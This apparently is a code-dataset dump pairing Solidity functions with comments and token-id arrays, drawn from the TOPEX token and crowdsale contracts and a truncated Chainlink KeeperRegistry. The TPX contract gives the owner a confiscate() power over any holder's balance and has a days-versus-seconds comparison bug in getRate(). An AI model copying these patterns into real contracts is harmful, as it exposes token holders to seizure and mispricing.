return tokenFoundInRegistry;
}
/** @dev Check if the token is a wrapped asset.
* @param _tokenAddress is the address of the token.
*/
function isTokenWrapped(address _tokenAddress) public returns (bool) {
require(_tokenAddress != 0, "An empty token address was passed");
return address(_tokenAddress) == address(wrappedEther);
}
/** @dev Force overwrite the cached price
* @param _tokenAddress to set for
* @param _price to set for
*/
function forceUpdateCachedPrice(address _tokenAddress, uint256 _price)
public
onlyOwner
{
approvedTokenMapping[_tokenAddress] = _price;
emit CachedPriceOverwritten(_tokenAddress, _price);
}
} | * @dev Remove an approved token to be used. @param _tokenAddress is the address of the token to remove./ | function removeApprovedToken(address _tokenAddress)
public
onlyOwner
{
for (uint256 i = 0; i < approvedTokenArray.length; i++) {
if (approvedTokenArray[i] == _tokenAddress) {
approvedTokenArray[i] = approvedTokenArray[approvedTokenArray.length - 1];
approvedTokenArray.length--;
approvedTokenMapping[_tokenAddress] = 0;
emit TokenRemoved(_tokenAddress);
break;
}
}
if (_tokenAddress == address(wrappedEther)) {
delete wrappedEther;
}
}
| 14,020,377 | [
1,
3288,
392,
20412,
1147,
358,
506,
1399,
18,
225,
389,
2316,
1887,
353,
326,
1758,
434,
326,
1147,
358,
1206,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1206,
31639,
1345,
12,
2867,
389,
2316,
1887,
13,
203,
3639,
1071,
203,
3639,
1338,
5541,
203,
565,
288,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
20412,
1345,
1076,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
261,
25990,
1345,
1076,
63,
77,
65,
422,
389,
2316,
1887,
13,
288,
203,
7734,
20412,
1345,
1076,
63,
77,
65,
273,
20412,
1345,
1076,
63,
25990,
1345,
1076,
18,
2469,
300,
404,
15533,
203,
7734,
20412,
1345,
1076,
18,
2469,
413,
31,
203,
203,
7734,
20412,
1345,
3233,
63,
67,
2316,
1887,
65,
273,
374,
31,
203,
7734,
3626,
3155,
10026,
24899,
2316,
1887,
1769,
203,
203,
7734,
898,
31,
203,
5411,
289,
203,
3639,
289,
203,
203,
3639,
309,
261,
67,
2316,
1887,
422,
1758,
12,
18704,
41,
1136,
3719,
288,
203,
5411,
1430,
5805,
41,
1136,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*
* MIT License
*
* Copyright (c) 2018, TOPEX Developers & OpenZeppelin Project.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destructible is Ownable {
constructor() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/*
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract TPXToken is MintableToken, Destructible {
string public name = 'TOPEX Token';
string public symbol = 'TPX';
uint8 public decimals = 18;
uint256 public maxSupply = 200000000 ether; // max allowable minting.
bool public transferDisabled = true; // disable transfer init.
event Confiscate(address indexed offender, uint256 value);
// empty constructor
constructor() public {}
/*
* the real reason for quarantined addresses are for those who are
* mistakenly sent the TPX tokens to the wrong address. We can disable
* the usage of the TPX tokens here.
*/
mapping(address => bool) quarantined; // quarantined addresses
mapping(address => bool) gratuity; // locked addresses for owners
modifier canTransfer() {
if (msg.sender == owner) {
_;
} else {
require(!transferDisabled);
require(quarantined[msg.sender] == false); // default bool is false
require(gratuity[msg.sender] == false); // default bool is false
_;
}
}
/*
* Allow the transfer of tokens to happen once ICO finished
*/
function allowTransfers() onlyOwner public returns (bool) {
transferDisabled = false;
return true;
}
function disallowTransfers() onlyOwner public returns (bool) {
transferDisabled = true;
return true;
}
function quarantineAddress(address _addr) onlyOwner public returns (bool) {
quarantined[_addr] = true;
return true;
}
function unQuarantineAddress(address _addr) onlyOwner public returns (bool) {
quarantined[_addr] = false;
return true;
}
function lockAddress(address _addr) onlyOwner public returns (bool) {
gratuity[_addr] = true;
return true;
}
function unlockAddress(address _addr) onlyOwner public returns (bool) {
gratuity[_addr] = false;
return true;
}
/**
* This is confiscate the money that is sent to the wrong address accidentally.
* the confiscated value can then be transferred to the righful owner. This is
* especially important during ICO where some are *still* using Exchanger wallet
* address, instead of their personal address.
*/
function confiscate(address _offender) onlyOwner public returns (bool) {
uint256 all = balances[_offender];
require(all > 0);
balances[_offender] = balances[_offender].sub(all);
balances[msg.sender] = balances[msg.sender].add(all);
emit Confiscate(_offender, all);
return true;
}
/*
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply <= maxSupply);
return super.mint(_to, _amount);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) canTransfer public returns (bool) {
return super.approve(_spender, _value);
}
}
/**
* The TPXCrowdsale contract.
* The token is based on ERC20 Standard token, with ERC23 functionality to reclaim
* other tokens accidentally sent to this contract, as well as to destroy
* this contract once the ICO has ended.
*/
contract TPXCrowdsale is CanReclaimToken, Destructible {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime = 0;
uint256 public endTime = 0;
// address where funds are collected
address public wallet = address(0);
// amount of raised money in wei
uint256 public weiRaised = 0;
// cap for crowdsale
uint256 public cap = 20000 ether;
// whitelist backers
mapping(address => bool) whiteList;
// addmin list
mapping(address => bool) adminList;
// mappig of our days, and rates.
mapping(uint8 => uint256) daysRates;
modifier onlyAdmin() {
require(adminList[msg.sender] == true || msg.sender == owner);
_;
}
/**
* eurchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary,
uint256 value, uint256 amount);
constructor(MintableToken _token) public {
// Token contract address to enter
token = _token;
startTime = 1532952000;
endTime = startTime + 79 days;
// TPX Owner wallet address
wallet = 0x44f43463C5663C515cD1c3e53B226C335e41D970;
// set the days lapsed, and rates(tokens per ETH) for the period since startTime.
daysRates[51] = 7000;
// 40% bonus 45 days - private sale for whitelisted only!
daysRates[58] = 6500;
// 30% bonus first week of ICO - public crowdsale
daysRates[65] = 6000;
// 20% bonus second week of ICO - public crowdsale
daysRates[72] = 5500;
// 10% bonus third week of ICO - public crowdsale
daysRates[79] = 5000;
// 0% bonus fourth week of ICO - public crowdsale
}
function setTokenOwner (address _newOwner) public onlyOwner {
token.transferOwnership(_newOwner);
}
function addWhiteList (address _backer) public onlyAdmin returns (bool res) {
whiteList[_backer] = true;
return true;
}
function addAdmin (address _admin) onlyAdmin public returns (bool res) {
adminList[_admin] = true;
return true;
}
function isWhiteListed (address _backer) public view returns (bool res) {
return whiteList[_backer];
}
function isAdmin (address _admin) public view returns (bool res) {
return adminList[_admin];
}
function totalRaised() public view returns (uint256) {
return weiRaised;
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(getRate());
// update state
weiRaised = weiRaised.add(weiAmount);
if (tokens > 0) {
token.mint(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
}
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
// 73 days of sale.
bool withinPeriod = (now >= startTime && now <= endTime) || msg.sender == owner;
bool nonZeroPurchase = msg.value != 0;
bool withinCap = weiRaised.add(msg.value) <= cap;
return withinPeriod && nonZeroPurchase && withinCap;
}
function getRate() internal view returns (uint256 rate) {
uint256 diff = (now - startTime);
if (diff <= 51 days) {
require(whiteList[msg.sender] == true);
return daysRates[51];
} else if (diff > 51 && diff <= 58 days) {
return daysRates[58];
} else if (diff > 58 && diff <= 65 days) {
return daysRates[65];
} else if (diff > 65 && diff <= 72 days) {
return daysRates[72];
} else if (diff <= 79 days) {
return daysRates[79];
}
return 0;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return now > endTime || capReached;
}
} | disable transfer init.
| bool public transferDisabled = true; | 11,756,320 | [
1,
8394,
7412,
1208,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
1426,
565,
1071,
7412,
8853,
273,
638,
31,
1850,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./interfaces/AggregatorV3Interface.sol";
import "./interfaces/LinkTokenInterface.sol";
import "./interfaces/KeeperCompatibleInterface.sol";
import "./interfaces/KeeperRegistryInterface.sol";
import "./interfaces/TypeAndVersionInterface.sol";
import "./vendor/SafeMathChainlink.sol";
import "./vendor/Address.sol";
import "./vendor/Pausable.sol";
import "./vendor/ReentrancyGuard.sol";
import "./vendor/SignedSafeMath.sol";
import "./vendor/SafeMath96.sol";
import "./KeeperBase.sol";
import "./ConfirmedOwner.sol";
/**
* @notice Registry for adding work for Chainlink Keepers to perform on client
* contracts. Clients must support the Upkeep interface.
*/
contract KeeperRegistry1_1 is
TypeAndVersionInterface,
ConfirmedOwner,
KeeperBase,
ReentrancyGuard,
Pausable,
KeeperRegistryExecutableInterface
{
using Address for address;
using SafeMathChainlink for uint256;
using SafeMath96 for uint96;
using SignedSafeMath for int256;
address private constant ZERO_ADDRESS = address(0);
address private constant IGNORE_ADDRESS = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF;
bytes4 private constant CHECK_SELECTOR = KeeperCompatibleInterface.checkUpkeep.selector;
bytes4 private constant PERFORM_SELECTOR = KeeperCompatibleInterface.performUpkeep.selector;
uint256 private constant CALL_GAS_MAX = 5_000_000;
uint256 private constant CALL_GAS_MIN = 2_300;
uint256 private constant CANCELATION_DELAY = 50;
uint256 private constant CUSHION = 5_000;
uint256 private constant REGISTRY_GAS_OVERHEAD = 80_000;
uint256 private constant PPB_BASE = 1_000_000_000;
uint64 private constant UINT64_MAX = 2**64 - 1;
uint96 private constant LINK_TOTAL_SUPPLY = 1e27;
uint256 private s_upkeepCount;
uint256[] private s_canceledUpkeepList;
address[] private s_keeperList;
mapping(uint256 => Upkeep) private s_upkeep;
mapping(address => KeeperInfo) private s_keeperInfo;
mapping(address => address) private s_proposedPayee;
mapping(uint256 => bytes) private s_checkData;
Config private s_config;
uint256 private s_fallbackGasPrice; // not in config object for gas savings
uint256 private s_fallbackLinkPrice; // not in config object for gas savings
uint256 private s_expectedLinkBalance;
LinkTokenInterface public immutable LINK;
AggregatorV3Interface public immutable LINK_ETH_FEED;
AggregatorV3Interface public immutable FAST_GAS_FEED;
address private s_registrar;
/**
* @notice versions:
* - KeeperRegistry 1.1.0: added flatFeeMicroLink
* - KeeperRegistry 1.0.0: initial release
*/
string public constant override typeAndVersion = "KeeperRegistry 1.1.0";
struct Upkeep {
address target;
uint32 executeGas;
uint96 balance;
address admin;
uint64 maxValidBlocknumber;
address lastKeeper;
}
struct KeeperInfo {
address payee;
uint96 balance;
bool active;
}
struct Config {
uint32 paymentPremiumPPB;
uint32 flatFeeMicroLink; // min 0.000001 LINK, max 4294 LINK
uint24 blockCountPerTurn;
uint32 checkGasLimit;
uint24 stalenessSeconds;
uint16 gasCeilingMultiplier;
}
struct PerformParams {
address from;
uint256 id;
bytes performData;
uint256 maxLinkPayment;
uint256 gasLimit;
uint256 adjustedGasWei;
uint256 linkEth;
}
event UpkeepRegistered(uint256 indexed id, uint32 executeGas, address admin);
event UpkeepPerformed(
uint256 indexed id,
bool indexed success,
address indexed from,
uint96 payment,
bytes performData
);
event UpkeepCanceled(uint256 indexed id, uint64 indexed atBlockHeight);
event FundsAdded(uint256 indexed id, address indexed from, uint96 amount);
event FundsWithdrawn(uint256 indexed id, uint256 amount, address to);
event ConfigSet(
uint32 paymentPremiumPPB,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
uint16 gasCeilingMultiplier,
uint256 fallbackGasPrice,
uint256 fallbackLinkPrice
);
event FlatFeeSet(uint32 flatFeeMicroLink);
event KeepersUpdated(address[] keepers, address[] payees);
event PaymentWithdrawn(address indexed keeper, uint256 indexed amount, address indexed to, address payee);
event PayeeshipTransferRequested(address indexed keeper, address indexed from, address indexed to);
event PayeeshipTransferred(address indexed keeper, address indexed from, address indexed to);
event RegistrarChanged(address indexed from, address indexed to);
/**
* @param link address of the LINK Token
* @param linkEthFeed address of the LINK/ETH price feed
* @param fastGasFeed address of the Fast Gas price feed
* @param paymentPremiumPPB payment premium rate oracles receive on top of
* being reimbursed for gas, measured in parts per billion
* @param flatFeeMicroLink flat fee paid to oracles for performing upkeeps,
* priced in MicroLink; can be used in conjunction with or independently of
* paymentPremiumPPB
* @param blockCountPerTurn number of blocks each oracle has during their turn to
* perform upkeep before it will be the next keeper's turn to submit
* @param checkGasLimit gas limit when checking for upkeep
* @param stalenessSeconds number of seconds that is allowed for feed data to
* be stale before switching to the fallback pricing
* @param gasCeilingMultiplier multiplier to apply to the fast gas feed price
* when calculating the payment ceiling for keepers
* @param fallbackGasPrice gas price used if the gas price feed is stale
* @param fallbackLinkPrice LINK price used if the LINK price feed is stale
*/
constructor(
address link,
address linkEthFeed,
address fastGasFeed,
uint32 paymentPremiumPPB,
uint32 flatFeeMicroLink,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
uint16 gasCeilingMultiplier,
uint256 fallbackGasPrice,
uint256 fallbackLinkPrice
) ConfirmedOwner(msg.sender) {
LINK = LinkTokenInterface(link);
LINK_ETH_FEED = AggregatorV3Interface(linkEthFeed);
FAST_GAS_FEED = AggregatorV3Interface(fastGasFeed);
setConfig(
paymentPremiumPPB,
flatFeeMicroLink,
blockCountPerTurn,
checkGasLimit,
stalenessSeconds,
gasCeilingMultiplier,
fallbackGasPrice,
fallbackLinkPrice
);
}
// ACTIONS
/**
* @notice adds a new upkeep
* @param target address to perform upkeep on
* @param gasLimit amount of gas to provide the target contract when
* performing upkeep
* @param admin address to cancel upkeep and withdraw remaining funds
* @param checkData data passed to the contract when checking for upkeep
*/
function registerUpkeep(
address target,
uint32 gasLimit,
address admin,
bytes calldata checkData
) external override onlyOwnerOrRegistrar returns (uint256 id) {
require(target.isContract(), "target is not a contract");
require(gasLimit >= CALL_GAS_MIN, "min gas is 2300");
require(gasLimit <= CALL_GAS_MAX, "max gas is 5000000");
id = s_upkeepCount;
s_upkeep[id] = Upkeep({
target: target,
executeGas: gasLimit,
balance: 0,
admin: admin,
maxValidBlocknumber: UINT64_MAX,
lastKeeper: address(0)
});
s_checkData[id] = checkData;
s_upkeepCount++;
emit UpkeepRegistered(id, gasLimit, admin);
return id;
}
/**
* @notice simulated by keepers via eth_call to see if the upkeep needs to be
* performed. If upkeep is needed, the call then simulates performUpkeep
* to make sure it succeeds. Finally, it returns the success status along with
* payment information and the perform data payload.
* @param id identifier of the upkeep to check
* @param from the address to simulate performing the upkeep from
*/
function checkUpkeep(uint256 id, address from)
external
override
whenNotPaused
cannotExecute
returns (
bytes memory performData,
uint256 maxLinkPayment,
uint256 gasLimit,
uint256 adjustedGasWei,
uint256 linkEth
)
{
Upkeep memory upkeep = s_upkeep[id];
bytes memory callData = abi.encodeWithSelector(CHECK_SELECTOR, s_checkData[id]);
(bool success, bytes memory result) = upkeep.target.call{gas: s_config.checkGasLimit}(callData);
if (!success) {
string memory upkeepRevertReason = getRevertMsg(result);
string memory reason = string(abi.encodePacked("call to check target failed: ", upkeepRevertReason));
revert(reason);
}
(success, performData) = abi.decode(result, (bool, bytes));
require(success, "upkeep not needed");
